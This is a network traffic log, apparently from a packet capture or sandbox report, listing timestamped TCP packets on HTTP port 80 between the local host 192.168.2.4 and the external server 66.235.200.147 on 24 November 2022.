Nov 24, 2022 13:27:53.143501997 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.143523932 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.143531084 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.143558025 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.143584013 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.143608093 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.143610954 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.143626928 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.143635988 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.143661976 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.143687010 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.143711090 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.143712997 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.143729925 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.143738985 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.143764973 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.143791914 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.143814087 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.143816948 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.143835068 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.143842936 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.143868923 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.143896103 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.143922091 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.143927097 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.143948078 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.143949986 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.143976927 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.144006014 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.144026995 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.144031048 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.144053936 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.144059896 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.144085884 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.144114017 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.144134998 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.144140005 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.144155979 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.144165993 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.144192934 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.144220114 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.144244909 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.144248009 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.144270897 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.144272089 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.144298077 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.144323111 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.144345999 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.144350052 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.144366026 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.144375086 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.144401073 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.144427061 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.144450903 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.144453049 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.144479036 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.144505024 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.144506931 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.144537926 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.144558907 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.144563913 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.144583941 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.144591093 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.144618034 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.144673109 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.144675970 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.144704103 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.144731045 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.144859076 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.144876957 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.144895077 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.144912004 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.144929886 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.144932032 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.144948006 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.144959927 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.144967079 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.144979000 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.144984961 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145003080 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145020962 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145032883 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.145040035 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145059109 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145059109 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.145077944 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145096064 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.145097017 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145114899 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145127058 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.145133972 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145152092 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145169973 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145183086 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.145189047 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145200968 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.145207882 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145226955 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145245075 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145245075 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.145270109 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.145344973 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145365000 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145381927 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145401001 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145416021 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.145418882 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145440102 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.145456076 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145468950 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.145473957 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145493984 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145510912 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145514965 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.145529985 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145550013 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145555973 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.145567894 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145586967 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145606041 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145607948 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.145623922 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145633936 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.145643950 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145662069 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145668983 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.145683050 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145699978 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145699978 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.145719051 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145737886 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145756006 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145761967 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.145776033 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145787001 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.145795107 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145813942 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145824909 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.145831108 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145849943 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145868063 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145875931 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.145885944 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145903111 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145909071 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.145920992 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145926952 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.145940065 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145958900 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.145967960 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.145976067 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.146003962 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.146308899 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.146328926 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.146348000 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.146367073 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.146377087 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.146387100 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.146406889 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.146409988 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.146425962 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.146430969 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.146445036 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.146464109 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.146481991 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.146488905 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.146502972 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.146522999 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.146524906 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.146541119 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.146542072 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.146559000 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.146576881 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.146586895 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.146595955 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.146621943 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.147448063 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.147468090 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.147488117 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.147507906 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.147526026 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.147548914 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.147589922 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.147622108 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.147716045 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.147735119 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.147794962 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.147813082 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.147816896 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.147836924 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.147870064 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.147886038 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.147893906 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.147906065 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.147947073 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.147974014 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.147993088 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.148010015 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.148030043 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.148046970 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.148056030 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.148066044 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.148082018 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.148082972 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.148102045 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.148108959 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.148217916 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.148370981 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.148391962 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.148411036 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.148428917 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.148446083 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.148452997 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.148464918 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.148483038 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.148485899 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.148500919 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.148515940 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.148521900 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.148539066 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.148559093 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.148565054 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.148577929 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.148590088 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.148597956 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.148617983 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.148622990 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.148636103 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.148654938 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.148664951 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.148776054 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.148794889 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.148813009 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.148822069 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.148833036 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.148852110 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.148871899 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.148875952 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.148891926 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.148910046 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.148921967 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.148931026 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.148950100 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.148957014 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.148967981 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.148987055 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.148993969 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.149005890 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.149049997 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.149051905 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.149068117 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.149085999 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.149091959 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.149105072 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.149122953 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.149138927 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.149141073 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.149164915 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.149166107 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.149187088 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.149204016 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.149229050 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.149230003 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.149247885 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.149256945 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.149270058 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.149290085 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.149297953 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.149326086 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.149338961 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.149346113 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.149363995 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.149382114 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.149399996 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.149408102 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.149432898 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.149868965 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.149889946 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.149920940 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.149931908 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.149950027 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.149967909 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.149986029 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.149991035 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.150002956 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150022030 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.150028944 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150047064 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150064945 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150082111 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150084019 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.150099993 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150113106 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.150119066 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150130987 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.150137901 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150156975 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150161982 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.150177002 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150193930 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150202036 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.150213957 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150232077 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150258064 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.150265932 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150284052 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.150285006 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150305033 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150322914 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150342941 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150357008 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.150361061 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150377035 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.150379896 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150398970 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150414944 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.150418043 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150438070 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150456905 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150468111 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.150476933 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150485992 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.150496960 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150530100 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.150572062 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150592089 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150619030 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.150619984 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150640011 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150659084 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150679111 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150690079 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.150697947 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150715113 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150722027 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.150733948 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150741100 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.150753021 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150770903 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.150789022 CET	80	49702	66.235.200.147	192.168.2.4
